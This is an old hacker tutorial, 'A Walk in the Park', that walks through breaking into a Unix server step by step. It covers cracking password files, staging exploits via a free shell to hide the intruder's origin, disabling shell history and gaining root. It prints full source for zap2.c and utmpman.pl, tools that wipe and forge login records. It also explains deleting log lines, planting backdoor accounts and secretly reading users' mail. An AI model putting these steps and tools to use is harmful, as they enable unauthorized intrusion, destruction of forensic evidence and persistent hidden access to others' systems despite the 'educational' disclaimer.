\\\ "A WALK IN THE PARK" /// \\====================// \Written by:Ulyss3s/ ================== Disclaimer: I do not encourage any kind of illegal activities! This text and\or anything in this document was made for educational purposes only! I am not responsable for anything that is done with this information! ====================================================================== In this material we'll shape a scenario about breaking into a computer system somewhere on the Internet.Any similarity to a certain situation is pure fiction. ====================================================================== In order to break a security system, one has to use a certain intrussion method. Usually the atacks are not very "high-tech" due to the fact that the ruined systems are mis-configured or unpatched. Here is a list of common system intrusion methods: # Default accounts/Null passwords # Username/Password same # rsh or poor authentication mechanism # rlogin # Anonymous FTP mis-configured # Finger # WWW Server # SMTP # Samba # Password Sniffing (the most powerful one!) However if someone grabs the password file stored on a system his mission is as easy as 1, 2, 3... All he/she has to do is to run a program like CrackerJack or better, John The Ripper for this password file and the rest is piece of cake.If the passwords aren't too hard to be cracked, then the dictionary the two programs mentioned above are distributed with, should be enough. Otherwise you may find word lists for the dictionary at http://www.hackersclub.com A common password file from a unix/linux OS looks like this: root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash bin:*:1:1:bin:/bin: daemon:*:2:2:daemon:/sbin: adm:*:3:4:adm:/var/adm: lp:*:4:7:lp:/var/spool/lpd: sync:*:5:0:sync:/sbin:/bin/sync shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown halt:*:7:0:halt:/sbin:/sbin/halt mail:*:8:12:mail:/var/spool/mail: news:*:9:13:news:/usr/lib/news: uucp:*:10:14:uucp:/var/spool/uucppublic: operator:*:11:0:operator:/root:/bin/bash games:*:12:100:games:/usr/games: man:*:13:15:man:/usr/man: postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash nobody:*:-2:100:nobody:/dev/null: ftp:*:404:1::/home/ftp:/bin/bash guest:*:405:100:guest:/dev/null:/dev/null bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash What's that all about?In case you didn't know here is the explaination: mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash 1 :2 :3 :4 :5 :6 :7 1=username 2=encrypted password 3=user number 4=groop id 5=real name 6=home directory 7=shell A hacker will always want to obtain the ROOT shell.This means having master priviledges over that particular system. Nowadays passwd files aren't enough for hackers.The passwords are shadowed and the encripted ones are stored in another file called the Shadow file. It is stored in /etc/shadow on unix systems. So, after you the password file you should have at least one account on the target system. This should be enough in order to hack for real the entire system. A hacker's life is easy thanks to the many exploits found by dedicated programmers.Exploits are programs written usually in C or Sh ( Shell programming) that bugs in the security. A good advice is that exploits should be used ONLY to get the root accounts, otherwise smart administrators may notice your presence. There are all kind of bugs in all systems: it might be a game installed on the system, or even the sendmail program. So the only thing you should have is one account on a machine and you can bet sooner or later that machine will be compromised. Exploits are compiled and then executed. The compiling command is: $ cc -o program program.c or $gcc program.c -o program The executing command is $program or better $ ./program For a Shell program the execution command is $ sh program.sh In the following session example I suppose that you have got somehow an account on a server. For login you should use either a SSH clinet (Secure Shell that sends the information encripted) or Telnet.We'll use telnet. Telnet is a command that you can use from a shell account, or from an exe file (telnet.exe) from Windows, OS/2, Windows 95 and other operating systems that will let you connect to another machine on the net. You can use telnet if you know the IP address or the host name you want to connect or login to. It looks like this: Telnet target.com or telnet 206.146.43.56 Trying ..... Connected to target.com Red Hat 2.1 Kernel 1.2.13 on a i586 (target.com) (ttyp0) login:username password:******* bash$ The last thing is your prompt. It may look different but usually it's the same thing. However if you have a # prompt then, guess what...you may forget about hacking because you are ROOT. First we make sure we leave no traces in the shell, unsetting the .bash_history file bash$ unset HISTFILE bash$ Ok, that's done.Next we'll see what kind of OS is installed on the system.In our case there is no need to do that because at the login prompt we notice RedHat 2.1 That is beautifull because Linux is almost 99% vulnerable.However if there is no clue to the OS at the login prompt then after login we type: bash$ uname -a This should show us the OS. Now that you found out the OS running on the server, search for the right exploit at the following URL's: http://hack.co.za http://www.rootshell.com http://www.packetstorm.securify.com You should find the latest exploits available for any kind of OS. Download the exploit, transfer it via FTP to a free shell(e.g. at nether.net or hobbiton.org) because if your presence will be noticed somehow the only traces that will appear are from the free shell not from your real host.Also find programs like Zap and Utmpman which help you cleaning your tracks.Then from the account on the target.com machine do the following: bash$ ftp ftp>open nether.net(or hobbiton.org) Connected to nether.net Welcome to nether.net! Login:username Password:****** User X logged in. X>mget exploit.c (or exploit.sh) zap.c utmpman.pl 230 command successful some text here Transfer complete. X>close Goodbye. ftp>bye bash$ Now you have transfered the exploit on target.com machine.Let's see... bash$ ls -al total 794 drwxrwxrwt 4 root root 8192 Jan 25 23:05 . drwxr-xr-x 22 root root 1024 Dec 28 18:07 .. -rw-r--r-- 1 berry users 6 Jan 25 23:05 .pinetemp.000 -rwxr-xr-x 2 berry users 1024 Jan 25 23:05 exploit.c(or sh) -rwxr-xr-x 2 berry users 1024 Jan 25 23:05 zap.c -rwxr-xr-x 2 berry users 1024 Jan 25 23:06 utmpman.pl -rwx------ 1 wood users 1 Jan 25 18:28 19067haa -rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428 -rw------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598 -rw------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600 drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens Ok, exploit.c is there.Let's compile it. bash$ gcc exploit.c -o exploit This would give me a file that would exe, called exploit. Now, finally some real action: hacking the root account. bash$ ./exploit or bash$ sh exploit.sh Suidperl 5.00503 (and newer) root exploit written by:author Checks passed, compiling flares and helper applications... Setting up environment... Starting exploit. It could take up to 5 minutes in order to get working root shell. WARNING - WARNING - WARNING: it could cause heavy system load. VOILA, BABE :-) Entering rootshell... (Whatever...this text could be anything ) The prompt should now look like the following: target# Let's see what does this mean... target# whoami root You are root indeed.That was easy, believe me.The hard part just starts:cleaning your tracks.The whole point of this hacking stuff is that you continue to have access to as many points of information as possible. If you do stupid things, or fail just once to clean your utmp or wtmp, xferlog's, etc ... you can loose access to the system. Make yourself a regular order to follow and learn each system well! Let's see who is logged on the system target#w 5:36am up 18 days, 8:23, 1 user, load average: 0.01, 0.00, 0.00 User tty login@ idle JCPU PCPU what root ttyp1 5:35am w Well, it seems we have to make ourselves invisible... target# gcc zap.c -o zap target# zap your_username_here Zap! target#w 5:37am up 18 days, 8:24, 0 users, load average: 0.08, 0.02, 0.01 User tty login@ idle JCPU PCPU what Can you see the root login now? You bet you can't! Here is the source-code for zap.c z2.c --------------------------- cut here #include #include #include #include #include #include #include #include #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" int f; void kill_utmp(who) char *who; { struct utmp utmp_ent; if ((f=open(UTMP_NAME,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } } void kill_wtmp(who) char *who; { struct utmp utmp_ent; long pos; pos = 1L; if ((f=open(WTMP_NAME,O_RDWR))>=0) { while(pos != -1L) { lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L; } else { if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); write (f, &utmp_ent, sizeof (utmp_ent)); pos = -1L; } else pos += 1L; } } close(f); } } void kill_lastlog(who) char *who; { struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); } } else printf("%s: ?\n",who); } main(argc,argv) int argc; char *argv[]; { if (argc==2) { kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("Zap2!\n"); } else printf("Error.\n"); } --------------------------- cut here Another great program for cleaning utmp, wtmp, and checking processes is utmpman.pl It will also let you insert lines in wtmp. So if you need to play you can add clinton.whitehouse.gov logging into port ttyp3 and show he stayed on the system for a few hours! You must be root to run the script, and they need perl 5.003+ on thier system. After starting the script just type help. Here are some of the basic commands: starts by loading wtmp delete user username delete host hostanme write read wtmp delete user username delete host hostname write do help for the rest ... the best utmp,wtmp editor around! -----------------------start of utmpman.pl #!/usr/bin/perl -w # # Variable defines. my($utmp_location) = "/var/run/utmp"; my($wtmp_location) = "/var/log/wtmp"; my($shells_location) = "/etc/shells"; my($ttybase) = "tty"; my($ttyrange) = "pqrs"; # TTYrange standard on most linux systems. my($ttyports) = "012345657689abcfef"; # TTYports standard on most linux systems. # Global initializations. my($active_file) = ""; my(%entries) = {}; my(@cmdline) = (); my(@shells) = (); # Display banner. print "\nutmp Manager v0.8\n\n"; # Access check. die("utmpman :: You must be root to run this application!\n") unless ($> == 0); # Read in valid shells. if (defined($shells_location)) { open(SHELLFILE, "<$shells_location"); @shells = ; close(SHELLFILE); } # Process "basename" of each shell. @shells = map( { /([^\/\n]+)\n*$/; $1; } @shells); print push(@shells) . " valid shells in $shells_location: @shells\n" if (defined(@shells)); readfile("$utmp_location"); print("\nutmpman: $active_file> "); while () { process_cmd(split); print("\nutmpman: $active_file> "); } sub process_cmd { return if (!defined(@_)); my(@line) = map { lc($_) } @_; $_ = shift(@line); SWITCH: { /^check$/ && do { check_func(@line); last SWITCH; }; /^delete$/ && do { del_func(@line); last SWITCH; }; /^help$/ && do { help_func(); last SWITCH; }; /^insert$/ && do { ins_func(@line); last SWITCH; }; /^list$/ && do { list_func(@line); last SWITCH; }; /^read$/ && do { read_func(@line); last SWITCH; }; /^write$/ && do { write_func(@line); last SWITCH; }; /^quit|exit$/ && exit(0); # DEFAULT. print ("Invalid command.\n"); } } # HELP sub help_func { print << "EOM"; utmpManager Help ---------------- Note: - is an argument. - [id=] is a token which expects a value as part of command (ie, insert id=p5 user=root 11/23/96). See the insert command. - A line is the full name to the tty port, ie ttyp0. - An id is the *unique* representation of the port (without the tty, etc), ie "p0" (for ttyp0). check - Perform user consistancy check. Use this to make sure that the data in utmp agrees with who is actually on the machine. This is useful in determining if a user is online with hidden ports, running nohup'd processes, or running iScreen. delete - - Delete entries #x to #y. delete host - Delete *all* entries which match the substring . delete line|id - Delete entry containing or . insert {id=|line=} [type=] [user=] [host=] [ConnTime] {LogoffTime} - Insert an entry into utmp/wtmp files specifying any combination of id/line, type, username, host, connection time, and logoff time. (LogoffTime only valid for WTMP files.) list host - List all entries matching the substring . list line|id - List all entries matching or . read utmp|wtmp| - Read entries from either default wtmp, default utmp, or an arbitrary filename. Note: arbitrary filenames MUST start with either "utmp" or "wtmp" to be used with this editor. Rename files *outside* of this editor if necessary. If read is executed without any arguments, it rereads the last given filename, which is displayed on the prompt. write {filename} - Write entries to file {filename}. If write is executed without any arguments, then entries will be written to the last given filename, which is displayed on the prompt. EOM } # DELETE sub del_func { my(@params) = @_; if (!push(@_)) { print("delete :: Not enough parameters. See \"help\" for syntax.\n"); return undef; } elsif ($params[0] =~ /host|user|id|line/) { del_by_data(@_); } elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) { del_by_range($params[0]); } elsif ($params[0] =~ m/^(\d+)$/) { del_by_range("$1-$1"); } # Renumber list after delete operation. resync(); } sub del_by_range { my($range)=shift; $range =~ m/(\d+)*-(\d+)*/; my($lo, $hi, $count)=($1, $2, 0); $lo = 0 if (!defined($lo)); $hi = scalar(keys(%entries)) if (!defined($hi)); foreach (sort( { $a <=> $b } keys(%entries))) { if (($_ >= $lo) && ($_ <= $hi)) { delete($entries{$_}); $count++; } } print "$count entries deleted.\n"; } sub del_by_data { my($op, $data) = @_; my($count) = 0; if ((length($data) < 5) && ($op eq "host")) { print "Must specify at least 5 characters for delete hostmask.\n"; return undef; } elsif (((length($data) > 4) && ($op eq "id"))|| ((length($data) > 11) && ($op eq "line"))) { print "Invalid $op specified.\n"; return undef; } # Note: If we are deleting by user, then user must match, *exactly*! $data = "^" . pack("a8", $data) . "\$" if ($op eq "user"); foreach (sort( { $a <=> $b } keys(%entries))) { if (%{$entries{$_}}->{$op} =~ m/$data/i) { delete($entries{$_}); ++$count; } } if (!$count) { print "No $op entries matching $data.\n"; } else { print "$count entries deleted.\n"; } } # INSERT # Date1 Time1 = DateTime1 => mm/dd/[cc]yy[:hh:mm[:ss]] # Date2 Time2 = DateTime2 => (see above) # user= # host= # id= | line= # # utmp: # insert {id=|line=} [type=] [user=] [host=] [DateTime] # wtmp: # insert {id=|line=} [user=] [host=] [DateTime1] {DateTime2} sub ins_func { my(%cmdopt)={}; my($datetime1, $datetime2, $gmdate, $gmdate2); # Get random pid out of the way. $cmdopt{"pid"} = int(rand(32656)+100); $cmdopt{"addr"} = pack("a4", ""); # Get command options. foreach (@_) { if (/=/) { local($key, $value)=split(/=/); $cmdopt{$key} = $value; } else { if (!defined($datetime1)) { $datetime1 = $_; next; } if (!defined($datetime2)) { $datetime2 = $_ ; next; } print "insert :: Invalid options specified. Please see \"help\" for syntax.\n"; return undef; } } # Check for an illegal pair or illegal option. foreach (keys(%cmdopt)) { if (!(/^host|id|line|type|user|addr$/)) { print "insert :: Invalid options specified. Please see \"help\" for syntax.\n"; return undef; } if (($_ eq "last") && ($active_file !~ m!/*utmp[^/]*$!i)) { print "insert :: LAST option only valid for utmp files.\n"; return undef; } } # Get date in seconds since 1970. $gmdate = SecsSince1970($datetime1); # Get ending date in seconds since 1970. $gmdate2 = SecsSince1970($datetime2) if (defined($datetime2)); if (!defined($gmdate) || (!defined($gmdate2) && defined($datetime2))) { print "insert :: Invalid date specified.\n"; return undef; } if (defined($gmdate2)) { if ($gmdate2 < $gmdate) { print "insert :: First date/time must be *later* than second date/time.\n"; return undef; } } if (defined($cmdopt{"id"}) && defined($cmdopt{"line"})) { print "insert :: Insert by LINE or ID only. Please do not specify both.\n"; return undef; } my($op); if (!defined($cmdopt{"id"})) { $cmdopt{"id"} = $cmdopt{"line"}; $op = "line"; if (!($cmdopt{"id"} =~ s/^$ttybase//)) { print "insert :: Invalid line specified.\n"; return undef; } } else { $cmdopt{"line"} = $ttybase . $cmdopt{"id"}; $op = "id"; } if (!(defined($cmdopt{"line"}) || defined($cmdopt{"id"}))) { print "insert :: Neither LINE nor ID value found. See \"help\" for syntax.\n"; return undef; } my($searchdata) = ($active_file =~ m!/*utmp[^/]*$!i) ? (pack(($op eq "line") ? "a12" : "a4", $cmdopt{$op})):$cmdopt{$op}; my($epos1, $npos1, $epos2, $npos2) = (); my($oldpos, $count)=("", 0); foreach (sort( { $a <=> $b } keys(%entries))) { if ($active_file =~ m!/*utmp[^/]*$!i) { # Handle utmp insertion by line insertion. if (%{$entries{$_}}->{$op} eq $searchdata) { printf ("insert :: $op $searchdata already exists at position $_\n"); # This needs to check every option in %cmdopt for defined or null. $count = 0; foreach (qw(user host time)) { if (defined($cmdopt{$_})) { $count++ if ($cmdopt{$_} ne ""); } } if (!$count) { printf ("insert :: No other data specified. Entry unchanged.\n"); return undef; } last; } } else { # Handle wtmp insertion by time position. (Messy) $epos1 = $oldpos if (defined($npos1) && !defined($epos1)); $npos1 = $_ if (%{$entries{$_}}->{"time"} > $gmdate); last if (!defined($gmdate2) && defined($epos1)); $epos2 = $oldpos if (defined($npos2)); $npos2 = $_ if (%{$entries{$_}}->{"time"} > $gmtime2); last if (defined($epos2)); } $oldpos = $_; } # Set any unspecified defaults. $cmdopt{"user"} = pack("a8", "") if !defined($cmdopt{"user"}); $cmdopt{"host"} = pack("a16", "") if !defined($cmdopt{"host"}); $cmdopt{"type"} = 7 if !defined($cmdopt{"type"}); # Determine end of list insertion positions. (IE, dates entered are after # dates in wtmp file or line/id not found in utmp file. $epos1 = (scalar(keys(%entries)) + 1) if (!defined($npos1)); if (defined($datetime2)) { $epos2 = (scalar(keys(%entries)) + 1) if (!defined($npos2)); ++$epos2 if (defined($gmtime2) && !defined($npos1)); } # Parse insert data and insert entry. $epos1 = sprintf("%7.3f", ($npos1 - $epos1)/2) if (defined($npos1)); $epos2 = sprintf("%7.3f", ($npos2 - $epos2)/2) if (defined($npos2) && defined($gmdate2)); # Insert first entry. $cmdopt{"time"} = $gmdate; @{$entries{$epos1}}{qw(type pid line id time user host addr)} = @{%cmdopt}{qw(type pid line id time user host addr)}; if (defined($epos2)) { $cmdopt{"user"} = pack("a8", ""); $cmdopt{"host"} = pack("a16",""); $cmdopt{"id"} = pack("a4", ""); $cmdopt{"time"} = $gmdate2; @{$entries{$epos2}}{qw(type pid line id time user host addr)} = @{%cmdopt}{qw(type pid line id time user host addr)}; } resync(); } # LIST sub list_func { my(@params) = @_; if (!push(@_) || ($params[0] eq "all")) { list_by_range("-"); return 0; } elsif ($params[0] =~ /^host|user|id|line$/) { list_by_data(@_); return 0; } elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) { list_by_range($params[0]); return 0; } elsif ($params[0] =~ m/^(\d+)$/) { list_by_range("$1-$1"); return 0; } print ("list :: Error in parameters. See \"help\" for syntax.\n"); return undef; } sub list_by_data { my($op, $data) = @_; my($count) = 0; foreach (sort( {$a <=> $b} keys(%entries))) { if (%{$entries{$_}}->{$op} =~ m/$data/i) { list_entry($_); ++$count; } } print "No $op entries matching $data.\n" if (!$count); } sub list_by_range { my($range)=shift; $range =~ m/(\d+)*-(\d+)*/; my($lo, $hi)=($1, $2); $lo = 0 if (!defined($lo)); $hi = scalar(keys(%entries)) if (!defined($hi)); foreach (sort( { $a <=> $b } keys(%entries))) { if (($_ >= $lo) && ($_ <= $hi)) { list_entry($_); } } } sub list_entry { printf("#%3d - " . gmtime(%{$entries{$_}}->{"time"}), $_); printf(" %s/%s", @{$entries{$_}}{qw(id line)}); printf(": %s ", %{$entries{$_}}->{"user"}) if (%{$entries{$_}}->{"user"} ne pack("a8", "")); printf("from %s", %{$entries{$_}}->{"host"}) if (%{$entries{$_}}->{"host"} ne pack("a16", "")); if (%{$entries{$_}}->{"addr"} ne "\0\0\0\0") { printf(" (%s)", longtodot4(%{$entries{$_}}->{"addr"})); } print ("\n"); printf("%7sPID = %u\n", "", %{$entries{$_}}->{"pid"}) if (%{$entries{$_}}->{"pid"} && (%{$entries{$_}}->{"user"} ne pack("a8",""))); } # printf "#$_ - %s %s/%s: %s from %s\n", @{$v}->{qw(time id line user host)}; # now *that's* cool :-) # should be like this: @{$v}{qw(time id line user host)} # I had an extra -> in my first version. # # Or course, it's changed since then, but - "Thanks, Sil!" :) # # READ sub read_func { my($arg)=shift; $arg = $utmp_location if ($arg eq "utmp"); $arg = $wtmp_location if ($arg eq "wtmp"); $arg = $active_file if (!defined($arg)); if ($arg !~ m!/*[uw]tmp[^/]*$!) { print("read :: Filenames *must* start with either 'wtmp' or 'utmp' to be edited.\n"); return undef; } readfile($arg); } # WRITE sub write_func { my($file)=shift; my($count)=0; $file = $active_file if (!defined($file)); if ($file !~ m!/*[uw]tmp[^/]*$!) { print ("write :: File must start with 'utmp' or 'wtmp'.\nRename file outside this program.\n"); return undef; } if (!open(OUTFILE, ">$file")) { print ("write :: Can't open $file for output.\n"); return undef; } binmode(OUTFILE); foreach (sort( { $a <=> $b } keys(%entries))) { printf OUTFILE ("%s", pack("i L a12 a4 L a8 a16 a4", @{$entries{$_}}{qw(type pid line id time user host addr)})); $count++; } print ("$active_file: " . scalar(keys(%entries)) . " entries written.\n"); close(OUTFILE); } # CHECK sub check_func { if (push(@_)) { print "check :: Invalid options specified. Please see \"help\"\n"; return undef; } if ($active_file !~ m!/*utmp[^/]*$!) { print "check :: Command can only be run on utmp files.\n"; return undef; } # Build struct of ports containing port name, device num and owner. # Note: Test run in grepstr may *not* be portable for all Unix # types. Be forewarned! This was designed for Linux. # Hint: For all intents and purposes, s/^$ttybase([$ttyrange][$ttyports])$/ # should return the same as what you expect in "struct utmp->ut_id". my($grepstr) = "^($ttybase\[$ttyrange\]\[$ttyports\])\$"; my(%ports) = {}; my($user, $rdev) = (); opendir(DEVDIR, "/dev"); my(@devfiles) = readdir(DEVDIR); @devfiles = grep(/$grepstr/, @devfiles); close(DEVDIR); foreach (@devfiles) { /^$ttybase([$ttyrange][$ttyports])$/; if (!defined($1)) { print "check :: Warning! Could not extract port ID from $_.\n"; } else { ($user, $rdev) = (stat("/dev/$_"))[4, 6]; $user = getpwuid($user); $ports{$1} = newport($_, $rdev, $user); } } # Check ownership of /dev ports. my(@logdev)=(); foreach (sort(keys(%ports))) { push(@logdev, $_) if (%{$ports{$_}}->{"owner"} ne "root"); } @logdev = sort(@logdev); # Check utmp (against ports detected as logged in); my(@logutmp)=(); foreach (sort( { $a <=> $b } keys(%entries))) { if (defined(%{$entries{$_}}->{"user"}) && defined(%{$entries{$_}}->{"host"}) && defined(%{$entries{$_}}->{"id"}) && defined(%{$entries{$_}}->{"pid"})) { push(@logutmp, %{$entries{$_}}->{"id"}) if ((%{$entries{$_}}->{"id"} =~ /[$ttyrange][$ttyports]/) && ((%{$entries{$_}}->{"user"} ne pack("a8", "")) || ((%{$entries{$_}}->{"host"} ne pack("a16", "")) && (%{$entries{$_}}->{"id"} ne pack("a4", "")) && (%{$entries{$_}}->{"line"} ne pack("a12", "")) && (%{$entries{$_}}->{"pid"} > 0)))); } } @logutmp = sort(@logutmp); # Check PIDs (find processes with active port ids) opendir(PIDDIR, "/proc"); my(%processes) = {}; my(@portprocesses) = (); foreach (grep(/\d+/, readdir(PIDDIR))) { local($procdata, $cmdline); open(PROCFILE, "; close(PROCFILE); if (-e "/proc/$_/stat") { local($cmdline, $devnum, $portid); ($cmd, $devnum) = (split(/ /, $procdata))[1, 6]; # Remove surrouding () from command name. $cmd =~ s/[\(\)]//g; $portid = dev2id(\%ports, $devnum); if (defined($portid)) { push(@portprocesses, $portid) if (!defined(listpos(\@portprocesses, $portid))&&($$ != $_)); $processes{$_} = newproc($cmd, $portid) if (defined($portid) && ($$ != $_)); } } } close(PIDDIR); # A port is *not* logged in if there is no dev entry for port, no utmp entry # and no active processes. my(@validshellports) = (); foreach (sort( { $a <=> $b} keys(%processes))) { push(@validshellports, %{$processes{$_}}->{"port"}) if (defined(listpos(\@shells, %{$processes{$_}}->{"cmd"}))&& !defined(listpos(\@validshellports, %{$processes{$_}}->{"port"}))); } # Remove ports with valid shells from list of ports with active processes. my(@noshellports) = sort(grep(!defined(listpos(\@validshellports, $_)), @portprocesses)); @validshellports = sort(@validshellports); print "Ports with active /dev files: @logdev\n" if (defined(@logdev)); print "Ports with utmp entries: @logutmp\n" if (defined(@logutmp)); print "Ports with valid shells: @validshellports\n" if (defined(@validshellports)); print "Ports with active processes and *no* shells: @noshellports\n" if (defined(@noshellports)); } # GENERAL sub readfile { local($file); $file = shift; my($index)=1; my($buffer)=""; # Insure we have a clean hash table before we start reading in the file. foreach (keys(%entries)) { undef(%{$entries{$_}}); delete(${entries{$_}}); } open(UTMPFILE, "<$file") || die("utmp-parse: Can't open $file - $!\n"); binmode(UTMPFILE); # 1/17/96, struct utmp is 56 bytes (54 according to addition! :P). while (read(UTMPFILE, $buffer, 56)) { $entries{$index++} = newutmp($buffer); } $active_file = $file; print ("$active_file: " . scalar(keys(%entries)) . " entries loaded.\n"); close(UTMPFILE); } sub newutmp { my($newbuff) = shift; my($longaddr) = 0; $newnode = bless { "type" => undef, "pid" => undef, "line" => undef, "id" => undef, "time" => undef, "user" => undef, "host" => undef, "addr" => undef }, 'UTMPNODE'; @{$newnode}{qw(type pid line id time user host addr)}= unpack("i L a12 a4 L a8 a16 a4", $newbuff); return $newnode; } sub newport { $newnode = bless { "port" => undef, "rdev" => undef, "owner" => undef, "cmd" => undef, }, 'PORTNODE'; @{$newnode}{qw(port rdev owner)} = @_; return $newnode; } sub newproc { $newnode = bless { "cmd" => undef, "port" => undef, }, 'PROCNODE'; @{$newnode}{qw(cmd port)} = @_; return $newnode; } # Renumber hashes to default order. sub resync { my(%newhash) = (); my($count)=0; # Write ordered list in to temporary hash, deleting as we go. foreach (sort( {$a <=> $b} keys(%entries))) { $newhash{++$count} = $entries{$_}; delete($entries{$_}); } # Copy elements back in to original hash table. foreach (sort( {$a <=> $b} keys(%newhash))) { $entries{$_} = $newhash{$_}; } } sub longtodot4 { my($addr)=shift; return join(".", map( ord($_), split(//, $addr))); } sub dev2id { my($portlist, $rdev) = @_; foreach (sort(keys(%{$portlist}))) { return $_ if (%{$portlist}->{$_}->{"rdev"}==$rdev); } return undef; } sub listpos { my($arrayref, $search) = @_; my($count) = 0; $^W = 0; foreach (@{$arrayref}) { return $count if ($search eq ${$arrayref}[$count]); $count++; } $^W = 1; return undef; } ### DATE ROUTINES # The following code taken & modified from the Date::Manip package. # Here is his copyright: # ## Copyright (c) 1995,1996 Sullivan Beck. All rights reserved. ## This program is free software; you can redistribute it and/or modify it ## under the same terms as Perl itself. sub SecsSince1970 { # Parse as mm/dd/[cc]yy[:hh:mm[:ss]] my($datetime) = shift; my($m,$d,$y,$h,$mn,$s) = (); # If date is not defined, then return local current date and time. return time() if (!defined($datetime)); $datetime =~ s!^(\d{1,2})/(\d{1,2})/(\d{4}|\d{2})(?:\:(\d{2}):(\d{2})(?:\:(\d{2}))?)?!!; ($m, $d, $y, $h, $mn, $s) = ($1, $2, $3, $4, $5, $6); $m--; # Finalize time components and check them. $y = (($y < 70) ? "20":"19" . $y) if (length($y)==2); # This checks for any *non-matched* portion of $datetime. If there is such # an animal, then there is illegal data specified. Also screens for undefined # components which HAVE to be in ANY valid date/time (ie, month, day, year). return undef if (!defined($m) || !defined($d) || !defined($y) || length($datetime)); # Set time components with unspecified values. $s = 0 if (!defined($s)); $mn = 0 if (!defined($mn)); $h = 0 if (!defined($h)); # Check for ranges. return undef if (($m > 11) || ($h > 23) || ($mn > 59) || ($s > 59)); # Begin conversion to seconds since 1/1/70. my($sec_now,$sec_70)=(); $sec_now=DaysSince999($m,$d,$y); return undef if (!defined($sec_now)); $sec_now--; $sec_now = $sec_now*24*3600 + $h*3600 + $mn*60 + $s; $sec_70 =30610224000; return ($sec_now-$sec_70); } sub DaysSince999 { my($m,$d,$y)=@_; my($Ny,$N4,$N100,$N400,$dayofyear,$days)=(); my($cc,$yy)=(); $y=~ /^(\d{2})(\d{2})$/; ($cc,$yy)=($1,$2); # Number of full years since Dec 31, 0999 $Ny=$y-1000; # Number of full 4th years (incl. 1000) since Dec 31, 0999 $N4=int(($Ny-1)/4)+1; $N4=0 if ($y==1000); # Number of full 100th years (incl. 1000) $N100=$cc-9; $N100-- if ($yy==0); # Number of full 400th years $N400=int(($N100+1)/4); # Check to insure that information returns a valid day of year. $dayofyear=dayofyear($m,$d,$y); return undef if (!defined($dayofyear)); # Compute day of year. $days= $Ny*365 + $N4 - $N100 + $N400 + $dayofyear; return $days; } sub dayofyear { my($m,$d,$y)=@_; my(@daysinmonth)=(31,28,31,30,31,30,31,31,30,31,30,31); my($daynum,$i)=(); $daysinmonth[1]=29 if (!($y % 4)); # Return error if we are given an invalid date. return undef if ($d > $daysinmonth[$m]); $daynum=0; for ($i=1; $i<$m; $i++) { $daynum += $daysinmonth[$i]; } $daynum += $d; return $daynum; } ## END DATE ROUTINES. # End of script. 0; --------------------- end of utmpman.pl Ok, let's check the logs... target# cd /var/log target# grep host * maillog:Jan 29 05:31:58 ns in.telnetd[22072]: connect from host.com maillog:Jan 29 05:35:29 ns in.telnetd[22099]: connect from host.com The zap did everything except this maillog... target# pico maillog In pico editor Ctrl+w in order to search for host then Ctrl+k for deleting those lines. target# grep host * Everything in order now.... A good thing to do is to edit /etc/host.allow and /etc/hosts.deny target# pico /etc/hosts.allow and target# pico /etc/hosts.deny Remember to erase the exploit target# rm exploit.c Perhaps you want to keep the access you gained active.Then do a backdoor.You do not have to make it a root account that could cause notice to it right away.You know you can have root any time you want. Now let's take a look at the passwd or shadow file.It should look like this... root:fVi3YqWnkd4rY:0:0:root:/root:/bin/bash sysop:mZjb4XjnJT1Ys:582:200:System Operator:/home/sysop:/bin/bash bin:*:1:1:bin:/bin: daemon:*:2:2:daemon:/sbin: adm:*:3:4:adm:/var/adm: lp:*:4:7:lp:/var/spool/lpd: sync:*:5:0:sync:/sbin:/bin/sync shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown halt:*:7:0:halt:/sbin:/sbin/halt mail:*:8:12:mail:/var/spool/mail: news:*:9:13:news:/usr/lib/news: uucp:*:10:14:uucp:/var/spool/uucppublic: operator:*:11:0:operator:/root:/bin/bash games:*:12:100:games:/usr/games: man:*:13:15:man:/usr/man: postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash nobody:*:65535:100:nobody:/dev/null: ftp:*:404:1::/home/ftp:/bin/bash You may either set let's say the postmaster's password to null ... target#passwd postmaster Now press enter twice ...or you can add a new line to the file... syst::13:12:system:/var/spool:/bin/bash Place it in the file where it seems to flow. Look at the line above for sync sync:*:5:0:sync:/sbin:/bin/sync Change this to : sync:*:5:0:sync:/sbin:/bin/bash and then run and leave the passwd blank. (or set a passwd don't matter) On this account we are even gid=0 Rember first NEVER to use system mail programs! They will be able to tell you are reading their mail. I use a combo of a few things. Here you go... cd /var/spool/mail This will put you into the directory that holds all of the unread mail, or waiting mail. Now you can do things like: grep -i security * |more grep -i hack * |more grep -i intruder * |more grep -i passwd * |more grep -i password * |more Then if needed pico username, and ctrl w to search for your message. You can also delete messages if you see some other admin is telling them that your user name is hacking their machine from their domain. Make sure to read 